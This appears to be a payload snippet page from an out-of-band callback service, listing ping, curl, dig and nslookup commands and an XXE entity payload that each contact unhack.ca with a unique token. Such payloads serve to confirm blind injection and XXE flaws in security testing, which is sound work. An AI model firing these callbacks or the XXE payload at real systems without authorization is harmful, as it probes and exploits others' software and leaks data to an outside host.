$ ping -c1 -p 001aa10705ccd4293b69b294ebd00500 unhack.ca
 

$ curl http://unhack.ca/p/1aa10705ccd4293b69b294ebd005
 

$ dig 1aa10705ccd4293b69b294ebd005 @unhack.ca
 

$ dig 1aa10705ccd4293b69b294ebd005.ns.unhack.ca
 

C:\> nslookup 1aa10705ccd4293b69b294ebd005 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1aa10705ccd4293b69b294ebd005">]>
    <foo>&xxe;</foo>